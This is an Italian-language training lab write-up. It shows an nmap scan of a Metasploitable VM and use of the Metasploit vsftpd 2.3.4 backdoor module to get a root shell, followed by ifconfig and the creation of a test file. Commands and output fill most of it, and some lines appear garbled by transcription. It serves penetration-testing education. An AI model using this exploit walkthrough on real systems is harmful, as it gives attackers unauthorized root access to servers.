

# S7L1

LA TRACCIA DI OGGI CONSISTE NEL EXPLOIT SU METASPLOITABLE SFRUTTANDO IL SERVIZIO VSFTPD. 1 ESEGUIAMO NELLA PARTE SINISTRA IL COMANDO MSFCONSOLE MENTRE NELLA PARTE DESTRA PER VEDERE I SERVIZI APERTI SUL IP DI META

```
Actions Edit View Help
kali@kali)-[~]
msfconsole
msfconsole tip: Search for complex filters such as search cve:2009
exploit, see all the filters with help search

.

dBBBBBBb dBBBP dBBBBBBP dBBBBBB
' dB' BBP
'dB'dB' dBBP dBP dBP BB
dB'dB' dBP dBP dBP BB
dB'dB' dBBBBP dBP dBBBBBBB

Home Shell .hp
--o--
|
To boldly go where no
shell has gone before

"the quieter you become"

Epicode_lab shell

=[ metasploit v6.3.50-dev ]
--=[ 2384 exploits - 1235 auxiliary - 417 post ]
--=[ 1391 payloads - 46 encoders - 11 nops ]
--=[ 9 evasion ]
msfconsole tip: Search for complex filters such as search cve:2009
exploit, see all the filters with help search
msfconsole Documentation: https://docs.metasploit.com/

File Actions Edit View Help

Nmap scan report for 192.168.1.149
Host is up (0.00026s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE      SERVICE      VERSION
21/tcp    open       ftp          vsftpd 2.3.4
22/tcp    open       ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open       telnet       Linux telnetd
25/tcp    open       smtp         Postfix smtpd
53/tcp    open       domain       ISC BIND 9.4.2
80/tcp    open       http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open       rpcbind      2 (RPC #100000)
139/tcp   filtered   netbios-ssn
445/tcp   filtered   microsoft-ds
512/tcp   open       exec         netkit-rsh rexecd
513/tcp   open       login        OpenBSD or Solaris rlogind
514/tcp   open       shell        Netkit rshd
1099/tcp  open       java-rmi     GNU Classpath grmiregistry
1524/tcp  filtered   ingreslock
2049/tcp  open       nfs          2-4 (RPC #100003)
2121/tcp  open       ftp          ProFTPD 1.3.1
3306/tcp  open       mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open       postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open       vnc          VNC (protocol 3.3)
6000/tcp  open       X11          (access denied)
6667/tcp  open       irc          UnrealIRCd
8009/tcp  open       ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open       http         Apache Tomcat/Coyote JSP engine 1.1

Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix
, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 256 IP addresses (2 hosts up) scanned in 32.44 seconds
```

In seconda parte dopo aver digitato il percorso search vsftpd su msf console ricerca il percorso file e settare rhost

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

```
File Actions Edit View Help
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.1.149
rhost => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   | 4444            | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                                                                                                                      |
| RHOSTS  | 192.168.1.149   | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Payload options (cmd/unix/interact):



| Name     | Current Setting | Required | Description                               |
|----------|-----------------|----------|-------------------------------------------|
| EXITFUNC | process         | yes      | Function to be called to exit the process |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.
```

# Dopo effettuare l'exploit

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

```
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:41199 → 192.168.1.149:6200) at 2024-01-15 14:32:37 +0100
```

```
ifconfig
```

```
eth0      Link encap:Ethernet  HWaddr 08:00:27:39:f6:9d
          inet addr:192.168.1.149  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe39:f69d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2439 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1316 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:176634 (172.4 KB)  TX bytes:129353 (126.3 KB)
          Base address:0xd020 Memory:f0200000-f0220000
```

```
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:279 errors:0 dropped:0 overruns:0 frame:0
          TX packets:279 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:94917 (92.6 KB)  TX bytes:94917 (92.6 KB)
```

In fine creare nella directory di root su terminale di kali il file test\_metasploit ed infine far vedere il percorso su meta

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

KALI LINUX

"the quieter you become, the more you are able to hear"

```
u: cannot stat 'test_splloit': No such file or directory
sfadmin@metasploitable:/root$ sudo mv test_metasploit /
sfadmin@metasploitable:/root$ cd /
sfadmin@metasploitable:/$ ls
bin      dev      initrd    lost+found  nohup.out  root    sys      usr
boot     etc      initrd.img  media      opt        sbin    test_metasploit  var
cdrom    home    lib        mnt        proc       srv     tmp        vmlinuz
sfadmin@metasploitable:/$
```